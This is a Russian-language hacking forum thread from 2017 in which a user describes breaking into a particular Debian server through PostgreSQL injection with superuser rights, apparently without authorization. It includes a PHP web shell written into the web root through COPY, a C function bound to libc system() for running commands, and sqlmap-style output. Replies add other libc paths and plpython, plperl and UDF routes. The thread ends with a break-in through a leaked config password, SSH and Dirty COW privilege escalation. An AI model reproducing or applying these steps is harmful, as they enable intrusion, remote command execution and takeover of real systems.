Postgres Injection + PRIV

Discussion in 'Веб-уязвимости' started by ACat, 24 Mar 2017.

  1. ACat

    ACat Member

    Joined:
    10 Mar 2017
    Messages:
    162
    Likes Received:
    31
    Reputations:
    0
    Всем доброго времени суток.
    Решил, что эта ситуация тянет на отдельный топик :3

    И так, задача:
    linux Debian 4.4.5-8, 64-bit
    Apache/2.2.16 (Debian)
    PostgreSQL 8.4.13
    Code:
    SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
    postgres, true, true, true
    Code:
    SELECT mycol FROM mytable limit 1
    '<? pasthru($_GET[cmd]); ?>'
    Code:
    sql-shell> COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php';
    [13:12:07] [INFO] fetching SQL query output: 'COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php''
    [13:12:07] [INFO] retrieving the length of query output
    [13:12:07] [INFO] retrieved:
    [13:12:08] [INFO] retrieved:
    sql-shell> 
    Not Found
    The requested URL /landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php was not found on this server.

    Смею предположить, что нету прав на запись от юзера базы данных в папочки юзера веб-сервера.

    Пробуем code exec:

    Code:
    sql-shell> CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
    CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;:  'NULL'
    sql-shell> SELECT system('id');
    [13:17:35] [INFO] fetching SQL SELECT statement query output: 'SELECT system("id")'
    [13:17:36] [INFO] retrieving the length of query output
    [13:17:36] [INFO] retrieved:
    [13:17:36] [INFO] retrieved:
    sql-shell>
    Еще на сервере в открытом доступе лежат php-curl-class если это может как-то помочь.
     
    #1 ACat, 24 Mar 2017
    Last edited: 28 Mar 2017
    Ereee likes this.
  2. ACat

    ACat Member

    Joined:
    10 Mar 2017
    Messages:
    162
    Likes Received:
    31
    Reputations:
    0
    ап
     
  3. ACat

    ACat Member

    Joined:
    10 Mar 2017
    Messages:
    162
    Likes Received:
    31
    Reputations:
    0
    Хлопцi, шо никто не поможет?
     
  4. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    564
    Likes Received:
    1,070
    Reputations:
    357
    Если в логах пусто, то возможно либы нет на месте или нет wget-а :D
    Попробуй /lib/x86_64-linux-gnu/libc.so.6 или /lib32/libc.so.6 . Ещё немного. И не факт, что этот метод работает на этой версии :(

    По первому случаю, попробуй в /tmp выгрузить и залить обратно, там ясно будет.

    Так же есть варианты с plpython, plperl и UDF, нужно тестить.
     
    #4 crlf, 30 Mar 2017
    Last edited: 30 Mar 2017
    ACat and t0ma5 like this.
  5. ACat

    ACat Member

    Joined:
    10 Mar 2017
    Messages:
    162
    Likes Received:
    31
    Reputations:
    0
    Спасибо за ответы, как я и предпологал не было прав на запись.

    Решилось прикольным образом: бэкап файл с конфигом и паролем от юзера базы данных, ssh, dirty cow.
     
Loading...